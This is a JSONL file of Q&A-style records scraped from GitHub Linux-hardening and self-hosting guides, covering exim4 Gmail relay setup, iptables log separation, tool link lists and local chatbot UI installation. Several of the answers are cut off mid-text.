{"id": "gh_a026574459b9", "question": "How to: Gmail and Exim4 As MTA With Implicit TLS", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nUnless you're planning on setting up your own mail server, you'll need a way to send e-mails from your server. This will be important for system alerts/messages.\n\nYou can use any Gmail account. I recommend you create one specific for this server. That way if your server **is** compromised, the bad-actor won't have any passwords for your primary account. Granted, if you have 2FA/MFA enabled, and you use an app password, there isn't much a bad-actor can do with just the app password, but why take the risk?\n\nThere are many guides on-line that cover how to configure Gmail as MTA using STARTTLS including a [previous version of this guide](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/tree/cc5edcae1cf846dd250e76b121e721d836481d2f#configure-gmail-as-mta). With STARTTLS, an initial **unencrypted** connection is made and then upgraded to an encrypted TLS or SSL connection. Instead, with the approach outlined below, an encrypted TLS connection is made from the start.\n\nAlso, as discussed in [issue #29](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/29) and [here](https://blog.dhampir.no/content/exim4-line-length-in-debian-stretch-mail-delivery-failed-returning-message-to-sender), exim4 will fail for messages with long lines. We'll fix this in this section too.\n\n** **IMPORTANT** ** As mentioned in [#106](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/106), Google no longer lets you use your account's password for authentication. You have to enable 2FA and then use an app-password.\n\n#### Goals\n\n- `mail` configured to send e-mails from your server using [Gmail](https://mail.google.com/)\n- long line support for exim4\n\n#### References\n\n- Thanks to [remyabel](https://github.com/remyabel) for figuring out how to get this to work with TLS as documented in [issue #24](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/24) and [pull request #26](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/pull/26).\n- https://wiki.debian.org/Exim\n- https://wiki.debian.org/GmailAndExim4\n- https://www.exim.org/exim-html-current/doc/html/spec_html/ch-encrypted_smtp_connections_using_tlsssl.html\n- https://php.quicoto.com/setup-exim4-to-use-gmail-in-ubuntu/\n- https://www.fastmail.com/help/technical/ssltlsstarttls.html\n- exim4 fails for messages with long lines - [issue #29](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/29) and https://blog.dhampir.no/content/exim4-line-length-in-debian-stretch-mail-delivery-failed-returning-message-to-sender\n- https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/106\n\n#### Steps\n\n1. Install exim4. You will also need openssl and ca-certificates.\n\n    On Debian based systems:\n\n    ``` bash\n    sudo apt install exim4 openssl ca-certificates\n    ```\n\n1. Configure exim4:\n\n    For Debian based systems:\n    ``` bash\n    sudo dpkg-reconfigure exim4-config\n    ```\n\n    You'll be prompted with some questions:\n\n    |Prompt|Answer|\n    |--:|--|\n    |General type of mail configuration|`mail sent by smarthost; no local mail`|\n    |System mail name|`localhost`|\n    |IP-addresses to listen on for incoming SMTP connections|`127.0.0.1; ::1`|\n    |Other destinations for which mail is accepted|(default)|\n    |Visible domain name for local users|`localhost`|\n    |IP address or host name of the outgoing smarthost|`smtp.gmail.com::465`|\n    |Keep number of DNS-queries minimal (Dial-on-Demand)?|`No`|\n    |Split configuration into small files?|`No`|\n\n1. Make a backup of `/etc/exim4/passwd.client`:\n\n    ``` bash\n    sudo cp --archive /etc/exim4/passwd.client /etc/exim4/passwd.client-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n1. Add a line like this to `/etc/exim4/passwd.client`\n\n    ```\n    smtp.gmail.com:yourAccount@gmail.com:yourPassword\n    *.google.com:yourAccount@gmail.com:yourPassword\n    ```\n\n    **Notes**:\n    - Replace `yourAccount@gmail.com` and `yourPassword` with your details. If you have 2FA/MFA enabled on your Gmail then you'll need to create and use an app password here.\n    - Always check `host smtp.gmail.com` for the most up-to-date domains to list.\n\n1. This file has your Gmail password so we need to lock it down:\n\n    ``` bash\n    sudo chown root:Debian-exim /etc/exim4/passwd.client\n    sudo chmod 640 /etc/exim4/passwd.client\n    ```\n\n1. The next step is to create an TLS certificate that exim4 will use to make the encrypted connection to `smtp.gmail.com`. You can use your own certificate, like one from [Let's Encrypt](https://letsencrypt.org/), or create one yourself using openssl. We will use a script that comes with exim4 that calls openssl to make our certificate:\n\n    ``` bash\n    sudo bash /usr/share/doc/exim4-base/examples/exim-gencert\n    ```\n\n    > ```\n    > [*] Creating a self signed SSL certificate for Exim!\n    >     This may be sufficient to establish encrypted connections but for\n    >     secure identification you need to buy a real certificate!\n    > \n    >     Please enter", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312986"}
{"id": "gh_afe2bc31b649", "question": "How to: Separate iptables Log File", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nThere will come a time when you'll need to look through your iptables logs. Having all the iptables logs go to their own file will make it a lot easier to find what you're looking for.\n\n#### References\n\n- https://blog.shadypixel.com/log-iptables-messages-to-a-separate-file-with-rsyslog/\n- https://gist.github.com/netson/c45b2dc4e835761fbccc\n- https://www.rsyslog.com/doc/v8-stable/configuration/actions.html\n\n#### Steps\n\n1. The first step is by telling your firewall to prefix all log entries with some unique string. If you're using iptables directly, you would do something like `--log-prefix \"[IPTABLES] \"` for all the rules. We took care of this in [step 4 of installing psad](#psad_step4).\n\n1. After you've added a prefix to the firewall logs, we need to tell rsyslog to send those lines to its own file. Do this by creating the file `/etc/rsyslog.d/10-iptables.conf` and adding this:\n\n    ```\n    :msg, contains, \"[IPTABLES] \" /var/log/iptables.log\n    & stop\n    ```\n    \n    If you're expecting a lot if data being logged by your firewall, prefix the filename with a `-` [\"to omit syncing the file after every logging\"](https://www.rsyslog.com/doc/v8-stable/configuration/actions.html#regular-file). For example:\n\n    ```\n    :msg, contains, \"[IPTABLES] \" -/var/log/iptables.log\n    & stop\n    ```\n\n    **Note**: Remember to change the prefix to whatever you use.\n    \n    [For the lazy](#editing-configuration-files---for-the-lazy):\n\n    ``` bash\n    cat << EOF | sudo tee /etc/rsyslog.d/10-iptables.conf\n    :msg, contains, \"[IPTABLES] \" /var/log/iptables.log\n    & stop\n    EOF\n    ```\n\n1. Since we're logging firewall messages to a different file, we need to tell psad where the new file is. Edit `/etc/psad/psad.conf` and set `IPT_SYSLOG_FILE` to the path of the log file. For example:\n\n    ```\n    IPT_SYSLOG_FILE /var/log/iptables.log;\n    ```\n    \n    **Note**: Remember to change the prefix to whatever you use.\n    \n    [For the lazy](#editing-configuration-files---for-the-lazy):\n    \n    ``` bash\n    sudo sed -i -r -e \"s/^(IPT_SYSLOG_FILE\\s+)([^;]+)(;)$/# \\1\\2\\3       # commented by $(whoami) on $(date +\"%Y-%m-%d @ %H:%M:%S\")\\n\\1\\/var\\/log\\/iptables.log\\3       # added by $(whoami) on $(date +\"%Y-%m-%d @ %H:%M:%S\")/\" /etc/psad/psad.conf \n    ```\n\n1. Restart psad and rsyslog to activate the changes (or reboot):\n\n    ``` bash\n    sudo psad -R\n    sudo psad --sig-update\n    sudo psad -H\n    sudo service rsyslog restart\n    ```\n\n1. The last thing we have to do is tell logrotate to rotate the new log file so it doesn't get to big and fill up our disk. Create the file `/etc/logrotate.d/iptables` and add this:\n\n    ```\n    /var/log/iptables.log\n    {\n        rotate 7\n        daily\n        missingok\n        notifempty\n        delaycompress\n        compress\n        postrotate\n            invoke-rc.d rsyslog rotate > /dev/null\n        endscript\n    }\n    ```\n    \n    [For the lazy](#editing-configuration-files---for-the-lazy):\n    \n    ``` bash\n    cat << EOF | sudo tee /etc/logrotate.d/iptables\n    /var/log/iptables.log\n    {\n        rotate 7\n        daily\n        missingok\n        notifempty\n        delaycompress\n        compress\n        postrotate\n            invoke-rc.d rsyslog rotate > /dev/null\n        endscript\n    }\n    EOF\n    ```\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312998"}
{"id": "gh_236d02388b5e", "question": "How to: Contacting Me", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "For any questions, comments, concerns, feedback, or issues, submit a [new issue](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/new).\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.313003"}
{"id": "gh_c49a007544b1", "question": "How to: Helpful Links", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "- [https://github.com/pratiktri/server_init_harden](https://github.com/pratiktri/server_init_harden) - Bash script that automates few of the tasks that you need to perform on a new Linux server to give it basic amount security.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.313008"}
{"id": "gh_1f0f1d72beed", "question": "How to: Acknowledgments", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "- https://www.reddit.com/r/linuxquestions/comments/aopzl7/new_guide_created_by_me_how_to_secure_a_linux/\n- https://www.reddit.com/r/selfhosted/comments/aoxd4l/new_guide_created_by_me_how_to_secure_a_linux/\n- https://news.ycombinator.com/item?id=19177435#19178618\n- https://www.reddit.com/r/linuxadmin/comments/arx7xo/howtosecurealinuxserver_an_evolving_howto_guide/\n- https://www.reddit.com/r/linux/comments/arx7st/howtosecurealinuxserver_an_evolving_howto_guide/\n- https://github.com/moltenbit/How-To-Secure-A-Linux-Server-With-Ansible\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.313013"}
{"id": "gh_3c14c1112ea1", "question": "How to: License and Copyright", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "[![CC-BY-SA](https://i.creativecommons.org/l/by-sa/4.0/88x31.png)](http://creativecommons.org/licenses/by-sa/4.0/)\n\n[How To Secure A Linux Server](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server) by [Anchal Nigam](https://github.com/imthenachoman) is licensed under [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0).\n\nSee [LICENSE](LICENSE.txt) for the full license.\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24410, "answer_score": 10, "has_code": false, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.313018"}
{"id": "gh_788baa92e9fe", "question": "How to: Table of Contents", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "1. [Getting Started with Self-Hosting](https://github.com/mikeroyal/Self-Hosting-Guide#getting-started-with-self-hosting)\n \n    - [Tools for Self-Hosting](https://github.com/mikeroyal/Self-Hosting-Guide#tools-for-self-hosting)\n       * [Containers](https://github.com/mikeroyal/Self-Hosting-Guide#containers)\n       * [CI/CD](https://github.com/mikeroyal/Self-Hosting-Guide#cicd)\n       * [Development](https://github.com/mikeroyal/Self-Hosting-Guide#development)\n       * [Web servers](#web-servers)\n       * [Large language models (LLMs)](#llms)\n       * [ChatGPT Chatbots](#chatgpt)\n       * [Automation](#automation)\n       * [Configuration Management](#Configuration-Management)\n       * [Cloud Storage](#cloud-storage)\n       * [Cloud](https://github.com/mikeroyal/Self-Hosting-Guide#Cloud)\n        * [Linode](#Linode)\n\t* [Nextcloud](#Nextcloud)\n\t* [DigitalOcean](#DigitalOcean)\n        * [Back4app Web Deployment](#back4app-web-deployment)\n\t* [MinIO Object Storage](#MinIO-Object-Storage)\n       * [Databases](#Databases)\n         - [SQL](#SQL)\n         - [NoSQL](#NoSQL)\n       * [Remote Access](https://github.com/mikeroyal/Self-Hosting-Guide#Remote-Access)\n       * [Virtualization](https://github.com/mikeroyal/Self-Hosting-Guide#Virtualization)\n       * [Password Management](https://github.com/mikeroyal/Self-Hosting-Guide#password-management)\n       * [SSH](#ssh)\n       * [VPN](#vpn)\n       * [LDAP(Lightweight Directory Access Protocol)](#ldap)\n       * [Log Management](#log-management)\n       * [DNS](#dns)\n       * [Network Tools](https://github.com/mikeroyal/Self-Hosting-Guide#network-tools)\n       * [Service Discovery](#service-discovery)\n       * [Security](#security)\n       * [Troubleshooting](#troubleshooting)\n       * [Monitoring](https://github.com/mikeroyal/Self-Hosting-Guide#monitoring)\n       * [Dashboards](#Dashboards)\n       * [Analytics](#Analytics)\n       * [Search](#Search)\n       * [Notifications](#Notifications)\n       * [RSS](#RSS)\n       * [Websites/Blogs](#WebsitesBlogs)\n       * [Social](#Social)\n       * [Nostr](#nostr)\n       * [iMessage](#imessage)\n       * [Communications](https://github.com/mikeroyal/Self-Hosting-Guide#communications)\n       * [Business Management](https://github.com/mikeroyal/Self-Hosting-Guide#business-management)\n       * [Collaboration & Synchronization](https://github.com/mikeroyal/Self-Hosting-Guide#Collaboration--Synchronization)\n       * [Encryption](#Encryption)\n       * [Backups](https://github.com/mikeroyal/Self-Hosting-Guide#backups)\n       * [Snapshots Management/System Recovery](snapshots-managementsystem-recovery)\n       * [Archiving](#archiving)\n       * [Home Server](https://github.com/mikeroyal/Self-Hosting-Guide#home-server)\n       * [Media Server](https://github.com/mikeroyal/Self-Hosting-Guide#media-server)\n       * [Smart Home Automation](#Smart-Home-Automation)\n       * [Voice Assistants](#Voice-Assistants)\n       * [Video Surveillance](#Video-Surveillance)\n       * [Text-To-Speech Synthesis (TTS)](#Text-To-Speech-Synthesis-TTS)\n       * [Video and Audio Processing](#Video-and-Audio-Processing)\n       * [Podcasting](#Podcasting)\n       * [Audiobooks](#Audiobooks)\n       * [Health](#Health)\n       * [Gardening](#gardening)\n       * [Maps](https://github.com/mikeroyal/Self-Hosting-Guide#maps)\n       * [Bookmarks](#Bookmarks)\n       * [Photos](https://github.com/mikeroyal/Self-Hosting-Guide#photos)\n       * [Pastebins](#pastebins)\n       * [Note-Taking](#Note-Taking)\n       * [Time Monitoring](#time-monitoring)\n       * [Wikis](#wikis)\n       * [Gaming](https://github.com/mikeroyal/Self-Hosting-Guide#gaming)\n       * [Foundations/Projects](https://github.com/mikeroyal/Self-Hosting-Guide#foundationsprojects)\n    \n    - [System Hardware](#System-Hardware)\n    - [Operating Systems](#Operating-Systems)\n    - [Storage](https://github.com/mikeroyal/Self-Hosting-Guide#storage)\n    - [File systems](https://github.com/mikeroyal/Self-Hosting-Guide#file-systems)\n    - [Books](https://github.com/mikeroyal/Self-Hosting-Guide#books)\n    - [Podcasts](https://github.com/mikeroyal/Self-Hosting-Guide#podcasts)\n    - [YouTube Channels](https://github.com/mikeroyal/Self-Hosting-Guide#youtube-channels)\n    - [Tutorials & Resources](https://github.com/mikeroyal/Self-Hosting-Guide#tutorials--resources)\n    - [Useful Subreddits to Follow](https://github.com/mikeroyal/Self-Hosting-Guide#subreddits)\n\n2. [WireGuard](https://github.com/mikeroyal/Self-Hosting-Guide#wireguard)\n     * [What is WireGuard?](#what-is-wireguard)\n     * [What is Tailscale?](#what-is-tailscale)\n     * [What is Netmaker?](#what-is-netmaker)\n     * [WireGuard Tools](#wireguard-tools)\n     * [Setting up WireGuard with PiVPN](#setting-up-wireguard-with-pivpn)\n     * [Setting up WireGuard on Unraid](#setting-up-wireguard-on-unraid)\n     * [Setting up WireGuard on pfSense](#setting-up-wireguard-on-pfsense)\n     * [Setting up WireGuard on OpenWRT](#setting-up-wireguard-on-openwrt)\n     * [Setting up WireGuard on", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317835"}
{"id": "gh_e5700221521d", "question": "How to: Getting Started with Self-Hosting", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n[Self-Hosting](https://www.reddit.com/r/selfhosted/) is the practice of locally hosting(on premises & private web servers) and managing software applications by a person or organization instead of monthly subscriptions from [Software as a service (SaaS) providers](https://azure.microsoft.com/en-us/overview/what-is-saas/).  \n\nMost self-hosted software can be installed using [Docker](https://en.wikipedia.org/wiki/Docker_(software)), a packaging system which allows software to bundle their configuration and dependencies and isolate them from your operating system.  Software using docker can be installed using the command line or via graphical interfaces such as [Portainer](https://github.com/portainer/portainer).  Software is installed with Docker by downloading an image file containing the application, then creating a copy that sets up its own dependencies and configuration within what is called a container.  Without containers you would often need to install different versions of the same programming languages or tools to satisfy the dependencies for the software you want to use which can get complicated.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317851"}
{"id": "gh_8741d184eb8c", "question": "How to: Tools for Self-Hosting", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317856"}
{"id": "gh_a185b61cdf61", "question": "How to: Containers", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n**Container** is a standard unit of software that packages up code and all its dependencies(including CPU, memory, file storage, and network connections) so the application runs quickly and reliably from one computing environment to another. \n\n  * [Application Container Security Guide | NIST (PDF)](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf)\n\n**Container Image** is a lightweight, standalone, executable package of software that includes everything needed to run an application such as the code, runtime, system tools, system libraries, and settings. \n\n**Best places to get Container Images:**\n\n * [DockerHub Container Images](https://hub.docker.com/search?image_filter=official&q=&type=image)\n * [LinuxServer.io Container Images](https://fleet.linuxserver.io/)\n * [Quay Container Images](https://quay.io/search)\n\n[Docker Compose](https://github.com/docker/compose) is a tool that was developed to help define and share multi-container applications. With Compose, we can create a YAML file to define the services and with a single command, can spin everything up or tear it all down.\n\n[Docker Include](https://docs.docker.com/compose/compose-file/14-include/) is a Compose application can declare dependency on another Compose application. This is useful if you want to reuse other Compose files. Also, if you need to factor out parts of your application model into separate Compose files so they can be managed separately or shared with others.\n\n[Kompose](https://kompose.io/) is a conversion tool for Docker Compose to container orchestrators such as [Kubernetes](https://kubernetes.io/) or [OpenShift](https://openshift.com/). \n\n[SwarmKit](https://github.com/moby/swarmkit) is a toolkit for orchestrating distributed systems at any scale. It includes primitives for node discovery, raft-based consensus, task scheduling and more.\n\n[Containerd](https://containerd.io/) is a daemon that manages the complete container lifecycle of its host system, from image transfer and storage to container execution and supervision to low-level storage to network attachments and beyond. It is available for Linux and Windows.\n\n[ContainersSSH](https://containerssh.io/) is an SSH Server that Launches Containers in Kubernetes and Docker on demand.\n\n[Podman](https://podman.io/) is a daemonless, open source, Linux native tool designed to make it easy to find, run, build, share and deploy applications using Open Containers Initiative (OCI) Containers and Container Images. Podman provides a command line interface (CLI) familiar to anyone who has used the Docker Container Engine.\n\n[Lima](https://github.com/lima-vm/lima) is a tool that launches Linux virtual machines with automatic file sharing and port forwarding (similar to WSL2), and [containerd](https://containerd.io/). It's a great free and open-source alternative for [Docker Desktop](https://www.docker.com/products/docker-desktop).\n\n[Colima](https://github.com/abiosoft/colima) is a container runtimes on macOS (and Linux) with minimal setup.\n\n[Portainer Community Edition](https://github.com/portainer/portainer) is a lightweight service delivery platform for containerized applications that can be used to manage Docker, Swarm, Kubernetes and ACI environments. It is designed to be as simple to deploy as it is to use.\n\n[Yacht](https://github.com/SelfhostedPro/Yacht) is a container management UI with a focus on templates and 1-click deployments.\n\n[Kitematic](https://kitematic.com/) is a simple application for managing Docker containers on Mac, Linux and Windows letting you control your app containers from a graphical user interface (GUI).\n\n[HashiCorp Nomad](https://www.nomadproject.io/) is a simple and flexible scheduler and orchestrator to deploy and manage containers and non-containerized applications across on-premises and clouds at scale.\n\n[Open Container Initiative](https://opencontainers.org/about/overview/) is an open governance structure for the express purpose of creating open industry standards around container formats and runtimes.\n\n[OpenNebula](https://opennebula.io/)  is an open source platform delivering a simple but feature-rich and flexible solution to build and manage enterprise clouds for virtualized services, containerized applications and serverless computing. \n\n[Buildah](https://buildah.io/) is a command line tool to build Open Container Initiative (OCI) images. It can be used with Docker, Podman, Kubernetes.\n\n[Red Hat Universal Base Images (UBI)](https://developers.redhat.com/products/rhel/ubi) is a tool that offers a way to build your container images on a foundation of Red Hat Enterprise Linux software. They are OCI-compliant, container-based, operating system images with complementary runtime languages and packages that are freely redistributable. Easily find UBI images in the Red Hat container catalog, and they are buildable and deployable anywhere. \n\n[Red Hat Quay](https://quay.io/) is a project that Builds, Stores,", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317885"}
{"id": "gh_bfa52b56b3fb", "question": "How to: Development", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Proxmox VE(Virtual Environment)](https://www.proxmox.com/en/proxmox-ve) is an open-source platform for enterprise virtualization. It has a built-in web interface that you can use to easily manage VMs and containers, software-defined storage and networking, high-availability clustering, and multiple out-of-the-box tools on a single solution.\n\n[Terraform provider plugin for Proxmox](https://github.com/Telmate/terraform-provider-proxmox) is a  Terraform provider for the [Proxmox virtualization platform](https://pve.proxmox.com/pve-docs/) and exposes Terraform resources to provision QEMU VMs and LXC Containers.\n\n[OTF](https://github.com/leg100/otf) is an open source alternative to Terraform Enterprise. Includes SSO, team management, agents, and as many applies as you can throw hardware at.\n\n[Semaphore UI](https://github.com/ansible-semaphore/semaphore) is a modern UI for Ansible. It lets you easily run Ansible playbooks, get notifications about fails, control access to deployment system.\n\n[APITable](https://apitable.com/) is an API-oriented low-code platform for building collaborative apps and better than all other Airtable open-source alternatives. \n\n[Chisel Kubernetes Operator](https://github.com/FyraLabs/chisel-operator/) is a Kubernetes operator for Chisel. It allows you to use Chisel as a LoadBalancer provider for your Kubernetes cluster, similar to [inlets-operator](https://github.com/inlets/inlets-operator).\n\n[Docker-pgautoupgrade](https://github.com/pgautoupgrade/docker-pgautoupgrade) is a PostgreSQL Docker container that automatically upgrades your database. It's whole purpose in life is to automatically detect the version of PostgreSQL used in the existing PostgreSQL data directory, and automatically upgrade it (if needed) to the required version of PostgreSQL.\n\n[IT-Tools](https://it-tools.tech/) is a collection of handy online tools for developers, with great UX. \n\n[Lazygit](https://github.com/jesseduffield/lazygit) is a simple terminal UI for git commands, written in Go with the [gocui](https://github.com/jroimartin/gocui) library.\n\n[LazyDocker](https://github.com/jesseduffield/lazydocker) is a  simple terminal UI for both docker and docker-compose, written in Go with the [gocui](https://github.com/jroimartin/gocui) library.\n\n[Code-Server](https://github.com/coder/code-server) is Visual Studio Code running on a remote server, accessible through the browser. \n\n[Turbopilot](https://github.com/ravenscroftj/turbopilot) is an open source large-language-model based code completion engine that runs locally on your CPU.\n\n[Self-Hosted Sentry nightly](https://develop.sentry.dev/self-hosted/) is an official bootstrap for running your own Sentry with Docker. Sentry, feature-complete and packaged up for low-volume deployments and proofs-of-concept.\n\n[Visual Studio Live Share](https://visualstudio.microsoft.com/services/live-share/) is a service/extension that enables you to collaboratively edit and debug with others in real time, regardless of the programming languages you're using or app types you're building. You can instantly and securely share your current project, start a joint debugging session, share terminal instances, forward localhost web apps, have voice calls, and more.\n\n[GistPad](https://marketplace.visualstudio.com/items?itemName=vsls-contrib.gistfs) is a Visual Studio Code extension that allows you to edit GitHub Gists and repositories from the comfort of your favorite editor. You can open, create, delete, fork and star gists and repositories, and then seamlessly begin editing files as if they were local, without ever cloning, pushing or pulling anything.\n\n[Live Server](https://marketplace.visualstudio.com/items?itemName=ritwickdey.LiveServer) is an extension for Visual Studio Code that launches a development local Server with live reload feature for static & dynamic pages.\n\n[Gitea](https://gittea.dev/) is a community managed painless self-hosted Git service.\n\n[Act](https://github.com/nektos/act) is a a tool to run your GitHub Actions locally.\n\n[Act runner](https://gitea.com/gitea/act_runner) is a runner for Gitea based on [act](https://gitea.com/gitea/act).\n\n[GitLab](https://about.gitlab.com/) is an open source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more. Self-host GitLab on your own servers, in a container, or on a cloud provider. \n\n[Bonobo Git Server](https://bonobogitserver.com/) - Set up your own self hosted git server on IIS for Windows. Manage users and have full control over your repositories with a nice user friendly graphical interface. \n\n[Fossil](https://www.fossil-scm.org/index.html/doc/trunk/www/index.wiki) - Distributed version control system featuring wiki and bug tracker. \n\n[Gerrit](https://www.gerritcodereview.com/) - A code review and project management tool for Git based projects. \n\n[Gitblit](https://www.gitblit.com/) - Pure Java stack for managing, viewing, and servi", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317920"}
{"id": "gh_09bbecc2945d", "question": "How to: Web servers", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to The Top](#table-of-contents)\n\n**Web servers**\n\n[Apache](https://httpd.apache.org/) - Most popular web server.\n\n[OpenResty Manager](https://om.uusec.com/) - The easiest using, powerful and beautiful OpenResty Manager(Nginx Enhanced Version), open source alternative to OpenResty Edge.\n\n[Beakon](https://github.com/RealDudePerson/beakon) - A self-host location sharing webserver. Beakon aims to leak as little data as possible and uses mostly self-contained libraries and local database files. Where possible, it will reference local files and not reach out over any network. \n\n[Caddy](https://caddyserver.com/) - The HTTP/2 Web Server with Fully Managed TLS.\n\n[Cherokee](https://cherokee-project.com/) - Lightweight, high-performance web server/reverse proxy.\n\n[Lighttpd](https://www.lighttpd.net/) - Web server more optimized for speed-critical environments.\n\n[Nginx](https://nginx.org/) - Reverse proxy, load balancer, HTTP cache, and web server.\n\n[uWSGI](https://github.com/unbit/uwsgi/) - The uWSGI project aims at developing a full stack for building hosting services.\n\n**Web Performance**\n\n[HAProxy](https://www.haproxy.org/) - Software based load Balancing, SSL offloading and performance optimization, compression, and general web routing.\n\n[Squid](https://www.squid-cache.org/) - Caching proxy for the web supporting HTTP, HTTPS, FTP, and more.\n\n[Traefik](https://traefik.io/) - Taefik is a modern HTTP reverse proxy and load balancer made to deploy microservices with ease.\n\n[Varnish](https://www.varnish-cache.org/) - HTTP based web application accelerator focusing on optimizing caching and compression.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317928"}
{"id": "gh_d692cc89fad3", "question": "How to: Running Locally on Windows, MacOS, and Linux:", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "**1. Clone Project Repo**\n\n```bash\ngit clone https://github.com/mckaywrigley/chatbot-ui.git\n```\n\n**2. Install Dependencies**\n\n```bash\nnpm i\n```\n\n**3. Provide OpenAI API Key**\n\nCreate a .env.local file in the root of the repo with your **[OpenAI API Key](https://platform.openai.com/account/api-keys)**:\n\n```bash\nOPENAI_API_KEY=YOUR_KEY\n```\n\n* **You can set `OPENAI_API_HOST` where access to the official OpenAI host is restricted or unavailable, allowing users to configure an alternative host for their specific needs.**\n\n* **Additionally, if you have multiple OpenAI Organizations, you can set `OPENAI_ORGANIZATION` to specify one.**\n\n**4. Run App**\n\n```bash\nnpm run dev\n```\n\n**You done you should be able to start chatting with ChatGPT!**\nChatbot UI\n[MiniGPT-4](https://minigpt-4.github.io/) is an enhancing Vision-language Understanding with Advanced Large Language Models\n\n**Launching Demo Locally**\n\nTry out the demo [demo.py](https://github.com/Vision-CAIR/MiniGPT-4/blob/main/demo.py) on your local machine by running\n\n```python demo.py --cfg-path eval_configs/minigpt4_eval.yaml  --gpu-id 0```\n\nHere, the demo loads Vicuna as 8 bit by default to save some GPU memory usage. Besides, the default beam search width is 1. Under this setting, the **demo cost about 23G GPU memory**. If you have a more powerful GPU with larger GPU memory, you can run the model in 16 bit by setting low_resource to False in the config file [minigpt4_eval.yaml](https://github.com/Vision-CAIR/MiniGPT-4/blob/main/eval_configs/minigpt4_eval.yaml) and use a larger beam search width.\nMiniGPT-4 Demo\n[GPT4All](https://github.com/nomic-ai/gpt4all) is an ecosystem of open-source chatbots trained on a massive collections of clean assistant data including code, stories and dialogue based on [LLaMa](https://github.com/facebookresearch/llama).\n[GPT4All UI](https://github.com/nomic-ai/gpt4all-ui) is a Flask web application that 